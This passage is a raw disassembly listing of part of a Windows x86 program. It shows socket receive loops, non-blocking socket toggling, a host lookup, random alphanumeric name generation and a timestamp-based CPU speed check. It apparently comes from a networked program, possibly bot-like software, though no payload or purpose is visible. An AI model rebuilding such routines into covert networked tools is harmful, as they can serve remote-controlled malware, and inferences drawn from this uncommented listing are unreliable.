eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41ACB6 mov edi, ebp loc_41AC6B: ; CODE XREF: ___:0041ACB4j cmp edi, ebx jz short loc_41ACB6 cmp [esp+18h], bl jz short loc_41ACB6 call sub_40196A test al, al jz short loc_41ACB6 mov ecx, [esp+10h] push ebx push 1 push edi call sub_40196F test al, al jz short loc_41AC48 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41ACA1 cmp al, 0Dh jz short loc_41ACA1 cmp al, bl jnz short loc_41ACA9 loc_41ACA1: ; CODE XREF: ___:0041AC97j ; ___:0041AC9Bj mov [esi+ebp-1], bl mov [esp+18h], bl loc_41ACA9: ; CODE XREF: ___:0041AC9Fj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AC6B loc_41ACB6: ; CODE XREF: ___:0041AC67j ; ___:0041AC6Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AD00: ; CODE XREF: ___:004021A3j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40196A test al, al jnz short loc_41AD1C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AD1C: ; CODE XREF: ___:0041AD12j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AD32 loc_41AD28: ; CODE XREF: ___:0041AD6Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AD32: ; CODE XREF: ___:0041AD26j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41AD9D mov edi, ebp loc_41AD4B: ; CODE XREF: ___:0041AD9Bj cmp edi, ebx jz short loc_41AD9D cmp [esp+18h], bl jz short loc_41AD9D call sub_40196A test al, al jz short loc_41AD9D mov ecx, [esp+10h] push ebx push 1 push edi call sub_40196F test al, al jz short loc_41AD28 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41AD7D cmp al, bl jnz short loc_41AD90 loc_41AD7D: ; CODE XREF: ___:0041AD77j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41AD8A mov [esi+ebp-1], bl jmp short loc_41AD8C ; --------------------------------------------------------------------------- loc_41AD8A: ; CODE XREF: ___:0041AD82j mov [edi], bl loc_41AD8C: ; CODE XREF: ___:0041AD88j mov [esp+18h], bl loc_41AD90: ; CODE XREF: ___:0041AD7Bj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AD4B loc_41AD9D: ; CODE XREF: ___:0041AD47j ; ___:0041AD4Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ADE0: ; CODE XREF: ___:00401082j push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41ADF2 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41ADF2: ; CODE XREF: ___:0041ADEAj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AE03 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE03: ; CODE XREF: ___:0041ADFBj mov ecx, [esp+0Ch] mov edx, [esp+8] push ecx push edx push eax call near ptr 71AB951Eh nop pop esi retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AE30 proc near ; CODE XREF: sub_4018A2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41AE42 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE42: ; CODE XREF: sub_41AE30+Aj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AE53 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE53: ; CODE XREF: sub_41AE30+1Bj mov ecx, [esp+4+arg_4] mov edx, [esp+4+arg_0] push ecx push edx push eax nop call near ptr 71AC0B50h pop esi retn 8 sub_41AE30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AE80: ; CODE XREF: ___:00401C53j sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx mov al, [esi+80Ch] cmp al, cl mov eax, [esi+806h] jnz short loc_41AEBF cmp eax, 0FFFFFFFFh jz short loc_41AEB5 cmp [esi+80Bh], cl jz short loc_41AEB5 mov eax, 1 pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEB5: ; CODE XREF: ___:0041AE9Ej ; ___:0041AEA6j xor eax, eax pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEBF: ; CODE XREF: ___:0041AE99j lea edx, [esp+4] mov [esp+10h], eax push edx lea edx, [esp+10h] push ecx push edx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx call near ptr 71AB2DC0h nop test eax, eax jnz short loc_41AEF5 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEF5: ; CODE XREF: ___:0041AEE9j mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AF50: ; CODE XREF: ___:004016EFj sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx cmp [esi+80Ch], cl jnz short loc_41AF6D xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AF6D: ; CODE XREF: ___:0041AF61j mov eax, [esi+806h] lea edx, [esp+4] push edx lea edx, [esp+10h] mov [esp+14h], eax push edx push ecx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2DC0h test eax, eax jnz short loc_41AFA9 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AFA9: ; CODE XREF: ___:0041AF9Dj mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AFF0: ; CODE XREF: ___:00401744j push esi mov esi, [esp+8] push edi mov edi, ecx push 800h lea edx, [esi+6] mov ax, [edi+4] lea ecx, [edi+6] push ecx push edx mov [esi+4], ax call near ptr 77C47A90h nop xor al, al add esp, 0Ch mov dword ptr [esi+806h], 0FFFFFFFFh mov [esi+80Ch], al mov [esi+80Bh], al mov al, [edi+80Dh] mov [esi+80Dh], al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B060 proc near ; CODE XREF: sub_4018CAj arg_0 = dword ptr 4 mov al, byte ptr [esp+arg_0] test al, al mov [ecx+80Ch], al jz short loc_41B090 mov ecx, [ecx+806h] lea eax, [esp+arg_0] push eax push 8004667Eh push ecx mov [esp+0Ch+arg_0], 1 nop call near ptr 71AB4519h retn 4 ; --------------------------------------------------------------------------- loc_41B090: ; CODE XREF: sub_41B060+Cj mov eax, [ecx+806h] lea edx, [esp+arg_0] push edx push 8004667Eh push eax mov [esp+0Ch+arg_0], 0 call near ptr 71AB4519h nop retn 4 sub_41B060 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B0E0 proc near ; CODE XREF: sub_401186j push esi mov esi, ecx push 0 lea ecx, [esi+4] call sub_401C49 mov dword ptr [esi], offset off_43F0C0 mov eax, esi pop esi retn sub_41B0E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B110 proc near ; CODE XREF: ___:00401924j sub_401E92j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40187A test [esp+4+arg_0], 1 jz short loc_41B128 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B128: ; CODE XREF: sub_41B110+Dj mov eax, esi pop esi retn 4 sub_41B110 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B140 proc near ; CODE XREF: sub_40187Aj mov dword ptr [ecx], offset off_43F0C0 add ecx, 4 jmp sub_401FE6 sub_41B140 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B160 proc near ; CODE XREF: sub_401640j arg_0 = dword ptr 4 push esi push edi call sub_40196A test al, al jnz short loc_41B172 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B172: ; CODE XREF: sub_41B160+9j mov esi, [esp+8+arg_0] push esi nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_41B1C5 push esi nop call near ptr 71AB4FD4h mov edi, eax test edi, edi jnz short loc_41B197 pop edi or eax, 0FFFFFFFFh pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B197: ; CODE XREF: sub_41B160+2Dj mov eax, [edi+0Ch] xor esi, esi cmp dword ptr [eax], 0 jz short loc_41B1AC loc_41B1A1: ; CODE XREF: sub_41B160+4Aj mov ecx, [eax+4] add eax, 4 inc esi test ecx, ecx jnz short loc_41B1A1 loc_41B1AC: ; CODE XREF: sub_41B160+3Fj call sub_401F0A dec esi push esi push 0 call sub_4021C6 ; --------------------------------------------------------------------------- mov ecx, [edi+0Ch] add esp, 8 mov edx, [ecx+eax*4] mov eax, [edx] loc_41B1C5: ; CODE XREF: sub_41B160+20j pop edi pop esi retn 4 sub_41B160 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B1F0: ; CODE XREF: ___:004020B3j push 0FFFFFFFFh push offset loc_43C007 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push esi xor ebx, ebx push edi mov [esp+0Ch], ebx call sub_40196A test al, al jnz short loc_41B22F mov eax, [esp+58h] mov esi, [esp+54h] push eax mov ecx, esi call sub_401870 jmp loc_41B3DB ; --------------------------------------------------------------------------- loc_41B22F: ; CODE XREF: ___:0041B218j mov ecx, [esp+58h] push ecx lea ecx, [esp+30h] call sub_401870 mov edi, 1 lea ecx, [esp+2Ch] mov [esp+4Ch], edi call sub_4017EE test eax, eax push offset byte_448F30 jnz short loc_41B26C mov esi, [esp+58h] mov ecx, esi call sub_401870 mov [esp+0Ch], edi jmp loc_41B3CE ; --------------------------------------------------------------------------- loc_41B26C: ; CODE XREF: ___:0041B256j lea ecx, [esp+30h] call sub_4012EE test eax, eax push offset byte_448F30 jnz short loc_41B292 mov esi, [esp+58h] mov ecx, esi call sub_401870 mov [esp+0Ch], edi jmp loc_41B3CE ; --------------------------------------------------------------------------- loc_41B292: ; CODE XREF: ___:0041B27Cj lea ecx, [esp+18h] call sub_401870 lea edx, [esp+10h] push ebx push edx push ebx push ebx push 0Fh lea ecx, [esp+40h] mov byte ptr [esp+60h], 2 call sub_4017EE push eax call sub_4382C2 ; --------------------------------------------------------------------------- cmp eax, ebx jz short loc_41B2D6 mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014D3 mov [esp+0Ch], edi jmp loc_41B3C0 ; --------------------------------------------------------------------------- loc_41B2D6: ; CODE XREF: ___:0041B2BBj mov edi, [esp+10h] mov esi, offset dword_4447F8 mov ecx, [edi] mov eax, [ecx+4] loc_41B2E4: ; CODE XREF: ___:0041B302j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B308 cmp cl, bl jz short loc_41B304 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B308 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B2E4 loc_41B304: ; CODE XREF: ___:0041B2EEj xor eax, eax jmp short loc_41B30D ; --------------------------------------------------------------------------- loc_41B308: ; CODE XREF: ___:0041B2EAj ; ___:0041B2F8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B30D: ; CODE XREF: ___:0041B306j cmp eax, ebx jz short loc_41B37B push ebp loc_41B312: ; CODE XREF: ___:0041B365j ; ___:0041B369j nop call near ptr 2800BE7h and eax, 0Fh cmp al, 8 jnz short loc_41B326 cmp word ptr [edi+8], 0Fh jz short loc_41B36B loc_41B326: ; CODE XREF: ___:0041B31Dj mov edi, [edi] mov ebp, [esp+14h] cmp edi, ebx jnz short loc_41B332 mov edi, ebp loc_41B332: ; CODE XREF: ___:0041B32Ej mov eax, [edi+4] mov esi, offset dword_4447F8 loc_41B33A: ; CODE XREF: ___:0041B358j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B35E cmp cl, bl jz short loc_41B35A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B35E add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B33A loc_41B35A: ; CODE XREF: ___:0041B344j xor eax, eax jmp short loc_41B363 ; --------------------------------------------------------------------------- loc_41B35E: ; CODE XREF: ___:0041B340j ; ___:0041B34Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B363: ; CODE XREF: ___:0041B35Cj cmp eax, ebx jnz short loc_41B312 mov edi, ebp jmp short loc_41B312 ; --------------------------------------------------------------------------- loc_41B36B: ; CODE XREF: ___:0041B324j mov eax, [edi+18h] lea ecx, [esp+18h] push eax call sub_4015E1 pop ebp jmp short loc_41B388 ; --------------------------------------------------------------------------- loc_41B37B: ; CODE XREF: ___:0041B30Fj mov ecx, [edi+18h] push ecx lea ecx, [esp+18h] call sub_4015E1 loc_41B388: ; CODE XREF: ___:0041B379j push offset byte_448F30 lea ecx, [esp+18h] call sub_4012EE test eax, eax jnz short loc_41B3A8 mov edx, [esp+58h] lea ecx, [esp+14h] push edx call sub_4015E1 loc_41B3A8: ; CODE XREF: ___:0041B398j mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014D3 mov dword ptr [esp+0Ch], 1 loc_41B3C0: ; CODE XREF: ___:0041B2D1j lea ecx, [esp+14h] mov byte ptr [esp+4Ch], 1 call sub_401226 loc_41B3CE: ; CODE XREF: ___:0041B267j ; ___:0041B28Dj lea ecx, [esp+2Ch] mov [esp+4Ch], bl call sub_401226 loc_41B3DB: ; CODE XREF: ___:0041B22Aj mov ecx, [esp+44h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 44h retn 8 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B490: ; CODE XREF: ___:00402153j push esi mov esi, ecx call sub_401E88 push 0 lea ecx, [esi+15h] call sub_401C49 mov dword ptr [esi], offset off_43F0C4 mov dword ptr [esi+11h], 0 mov dword ptr [esi+823h], 0 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B4D0 proc near ; CODE XREF: sub_401406j ___:00402036j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BE0 test [esp+4+arg_0], 1 jz short loc_41B4E8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B4E8: ; CODE XREF: sub_41B4D0+Dj mov eax, esi pop esi retn 4 sub_41B4D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B500 proc near ; CODE XREF: sub_401BE0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41B500 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401FE6 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41B500 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B570: ; CODE XREF: ___:00401D52j push esi mov esi, ecx call sub_401E88 push 0 lea ecx, [esi+15h] call sub_401C49 mov eax, [esp+8] mov ecx, [esp+0Ch] mov [esi+11h], eax mov dword ptr [esi], offset off_43F0C4 mov [esi+823h], ecx mov eax, esi pop esi retn 8 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B5B0 proc near ; CODE XREF: sub_401686j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 14h push edi mov edi, ecx mov eax, [edi+11h] test eax, eax jz loc_41B6C0 mov ecx, [edi+823h] test ecx, ecx jz loc_41B6C0 push ebx push ebp lea ebx, [edi+15h] push esi push eax mov ecx, ebx xor esi, esi call sub_401492 mov ebp, dword_5118D8 test al, al jnz short loc_41B613 loc_41B5E9: ; CODE XREF: sub_41B5B0+61j mov al, [edi+10h] test al, al jz loc_41B6AF mov al, byte_4E8E44 test al, al jz short loc_41B613 push 7D0h call ebp mov eax, [edi+11h] mov ecx, ebx push eax call sub_401492 test al, al jz short loc_41B5E9 loc_41B613: ; CODE XREF: sub_41B5B0+37j ; sub_41B5B0+4Bj mov al, [edi+10h] test al, al jz loc_41B6AF loc_41B61E: ; CODE XREF: sub_41B5B0+F9j mov al, byte_4E8E44 test al, al jz loc_41B6AF test esi, esi jnz short loc_41B64E push 80Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_41B64A push esi mov ecx, eax call sub_401C49 jmp short loc_41B64C ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5B0+8Ej xor eax, eax loc_41B64C: ; CODE XREF: sub_41B5B0+98j mov esi, eax loc_41B64E: ; CODE XREF: sub_41B5B0+7Dj push 0 push 0 push esi mov ecx, ebx call sub_401B95 test al, al jnz short loc_41B667 push 7D0h call ebp jmp short loc_41B6A4 ; --------------------------------------------------------------------------- loc_41B667: ; CODE XREF: sub_41B5B0+ACj xor ecx, ecx lea edx, [esp+24h+var_14] mov [esp+24h+var_10], ecx lea eax, [esp+24h+var_10] mov [esp+24h+var_C], ecx push edx mov [esp+28h+var_8], ecx push eax mov [esp+2Ch+var_4], ecx mov ecx, esi mov [esp+2Ch+var_14], 10h call sub_4018A2 mov al, byte ptr [esp+24h+var_C] test al, al jz short loc_41B6A4 push esi call dword ptr [edi+823h] add esp, 4 loc_41B6A4: ; CODE XREF: sub_41B5B0+B5j ; sub_41B5B0+E8j mov al, [edi+10h] test al, al jnz loc_41B61E loc_41B6AF: ; CODE XREF: sub_41B5B0+3Ej ; sub_41B5B0+68j ... mov ecx, ebx call sub_4014E7 pop esi pop ebp pop ebx xor eax, eax pop edi add esp, 14h retn ; --------------------------------------------------------------------------- loc_41B6C0: ; CODE XREF: sub_41B5B0+Bj ; sub_41B5B0+19j xor eax, eax pop edi add esp, 14h retn sub_41B5B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B720: ; CODE XREF: ___:00401C35j mov eax, [esp+0Ch] push ebx push ebp mov ebp, [esp+10h] push esi push edi xor ebx, ebx xor edi, edi dec eax mov [ebp+0], bl cmp eax, ebx mov byte ptr [esp+18h], 1 jle short loc_41B795 mov esi, ebp loc_41B73F: ; CODE XREF: ___:0041B793j cmp esi, ebx jz short loc_41B795 cmp [esp+18h], bl jz short loc_41B795 mov ecx, [esp+14h] push ebx push 1 push esi push ecx nop call near ptr 71AB615Ah cmp eax, ebx jz short loc_41B7A4 cmp eax, 0FFFFFFFFh jz short loc_41B7A4 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_41B79D mov [edi+ebp+1], bl mov al, [esi] cmp al, 0Ah jz short loc_41B780 cmp al, 0Dh jz short loc_41B780 cmp al, bl jnz short loc_41B788 loc_41B780: ; CODE XREF: ___:0041B776j ; ___:0041B77Aj mov [edi+ebp-1], bl mov [esp+18h], bl loc_41B788: ; CODE XREF: ___:0041B77Ej mov edx, [esp+1Ch] inc edi inc esi lea eax, [edx-1] cmp edi, eax jl short loc_41B73F loc_41B795: ; CODE XREF: ___:0041B73Bj ; ___:0041B741j ... mov eax, [esp+1Ch] mov [eax+ebp-1], bl loc_41B79D: ; CODE XREF: ___:0041B76Cj pop edi pop esi pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B7A4: ; CODE XREF: ___:0041B75Aj ; ___:0041B75Fj pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B7E0 proc near ; CODE XREF: sub_401280j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push ebx push ebp mov ebp, [esp+8+arg_4] push esi xor ebx, ebx xor esi, esi dec eax cmp eax, ebx push edi mov [ebp+0], bl mov byte ptr [esp+10h+arg_4], 1 jle short loc_41B84A mov edi, ebp loc_41B7FF: ; CODE XREF: sub_41B7E0+68j cmp edi, ebx jz short loc_41B84A cmp byte ptr [esp+10h+arg_4], bl jz short loc_41B84A mov ecx, [esp+10h+arg_0] push ebx push 1 push edi push ecx nop call near ptr 71AB615Ah test eax, eax jz short loc_41B859 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41B82A cmp al, bl jnz short loc_41B83D loc_41B82A: ; CODE XREF: sub_41B7E0+44j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41B837 mov [esi+ebp-1], bl jmp short loc_41B839 ; --------------------------------------------------------------------------- loc_41B837: ; CODE XREF: sub_41B7E0+4Fj mov [edi], bl loc_41B839: ; CODE XREF: sub_41B7E0+55j mov byte ptr [esp+10h+arg_4], bl loc_41B83D: ; CODE XREF: sub_41B7E0+48j mov edx, [esp+10h+arg_8] inc esi inc edi lea eax, [edx-1] cmp esi, eax jl short loc_41B7FF loc_41B84A: ; CODE XREF: sub_41B7E0+1Bj ; sub_41B7E0+21j ... mov eax, [esp+10h+arg_8] pop edi pop esi mov [eax+ebp-1], bl pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B859: ; CODE XREF: sub_41B7E0+3Aj pop edi pop esi pop ebp xor al, al pop ebx retn sub_41B7E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B880: ; CODE XREF: ___:00401AF0j push ebx mov ebx, [esp+8] push ebp mov ebp, [esp+10h] mov ecx, ebp push esi mov edx, ecx push edi xor eax, eax mov edi, ebx shr ecx, 2 rep stosd mov ecx, edx xor esi, esi and ecx, 3 test ebp, ebp rep stosb jle short loc_41B8DB loc_41B8A6: ; CODE XREF: ___:0041B8D9j push 3 push 1 call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 dec eax jz short loc_41B8C7 dec eax jz short loc_41B8C1 dec eax jnz short loc_41B8D6 push 7Ah push 61h jmp short loc_41B8CB ; --------------------------------------------------------------------------- loc_41B8C1: ; CODE XREF: ___:0041B8B6j push 5Ah push 41h jmp short loc_41B8CB ; --------------------------------------------------------------------------- loc_41B8C7: ; CODE XREF: ___:0041B8B3j push 39h push 30h loc_41B8CB: ; CODE XREF: ___:0041B8BFj ; ___:0041B8C5j call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esi+ebx], al loc_41B8D6: ; CODE XREF: ___:0041B8B9j inc esi cmp esi, ebp jl short loc_41B8A6 loc_41B8DB: ; CODE XREF: ___:0041B8A4j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: sub_401424j rdtsc retn sub_41B900 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B920 proc near ; CODE XREF: sub_4017FDj var_4 = dword ptr -4 sub esp, 8 push ebx mov ebx, dword_5118D8 push ebp push esi push edi xor ebp, ebp loc_41B92F: ; CODE XREF: sub_41B920+43j ; sub_41B920+4Dj call sub_401424 push 3E8h mov esi, eax mov edi, edx call ebx call sub_401424 sub eax, esi push ebp sbb edx, edi push 186A0h push edx push eax call sub_437C60 push ebp push 0Ah push edx push eax call sub_437C60 cmp edx, ebp mov esi, eax ja short loc_41B92F jb short loc_41B96F cmp esi, 0F4240h ja short loc_41B92F loc_41B96F: ; CODE XREF: sub_41B920+45j push ebp push 64h push edx push esi call sub_437BE0 mov ecx, eax cmp edx, ebp mov eax, 64h mov [esp+18h+var_4], ebp ja short loc_41B9F9 jb short loc_41B98F cmp ecx, 50h jnb short loc_41B998 loc_41B98F: ; CODE XREF: sub_41B920+68j mov eax, 4Bh mov [esp+18h+var_4], ebp loc_41B998: ; CODE XREF: sub_41B920+6Dj cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9A3 cmp ecx, 47h jnb short loc_41B9AC loc_41B9A3: ; CODE XREF: sub_41B920+7Cj mov eax, 42h mov [esp+18h+var_4], ebp loc_41B9AC: ; CODE XREF: sub_41B920+81j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9B7 cmp ecx, 37h jnb short loc_41B9C0 loc_41B9B7: ; CODE XREF: sub_41B920+90j mov eax, 32h mov [esp+18h+var_4], ebp loc_41B9C0: ; CODE XREF: sub_41B920+95j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9CB cmp ecx, 26h jnb short loc_41B9D4 loc_41B9CB: ; CODE XREF: sub_41B920+A4j mov eax, 21h mov [esp+18h+var_4], ebp loc_41B9D4: ; CODE XREF: sub_41B920+A9j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9DF cmp ecx, 1Eh jnb short loc_41B9E8 loc_41B9DF: ; CODE XREF: sub_41B920+B8j mov eax, 19h mov [esp+18h+var_4], ebp loc_41B9E8: ; CODE XREF: sub_41B920+BDj cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9F3 cmp ecx, 0Ah jnb short loc_41B9F9 loc_41B9F3: ; CODE XREF: sub_41B920+CCj xor eax, eax mov [esp+18h+var_4], ebp loc_41B9F9: ; CODE XREF: sub_41B920+66j ; sub_41B920+7Aj ... sub eax, ecx pop edi add eax, esi pop esi pop ebp pop ebx add esp, 8 retn sub_41B920 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BA50 proc near ; CODE XREF: sub_402040j var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_41BA50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h mov al, byte_449729 push ebx push esi push edi test al, al mov [esp+4Ch+var_40], 0 jz loc_41BBAF push ebp lea ecx, [esp+50h+var_3C] call sub_40142E push 400h lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 1 xor bl, bl call sub_401C71 mov ebp, eax call sub_401F0A lea ecx, [esp+50h+var_3C] call sub_4013E3 mov [esp+50h+arg_4], eax lea eax, [esp+50h+arg_4] push eax push ebp nop call near ptr 282110Eh test eax, eax jnz short loc_41BAE6 mov edi, offset byte_448F30 or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_41BAE6: ; CODE XREF: sub_41BA50+74j movsx ecx, byte ptr [ebp+0] mov eax, 41h loc_41BAEF: ; CODE XREF: sub_41BA50+A9j cmp ecx, eax jnz short loc_41BAF5 mov bl, 1 loc_41BAF5: ; CODE XREF: sub_41BA50+A1j inc eax cmp eax, 5Bh jl short loc_41BAEF mov eax, 61h loc_41BB00: ; CODE XREF: sub_41BA50+BAj cmp ecx, eax jnz short loc_41BB06 mov bl, 1 loc_41BB06: ; CODE XREF: sub_41BA50+B2j inc eax cmp eax, 7Bh jl short loc_41BB00 test bl, bl jnz short loc_41BB32 mov edi, offset byte_448F30 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_41BB32: ; CODE XREF: sub_41BA50+BEj mov esi, dword_511AC8 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_3C] push edx mov 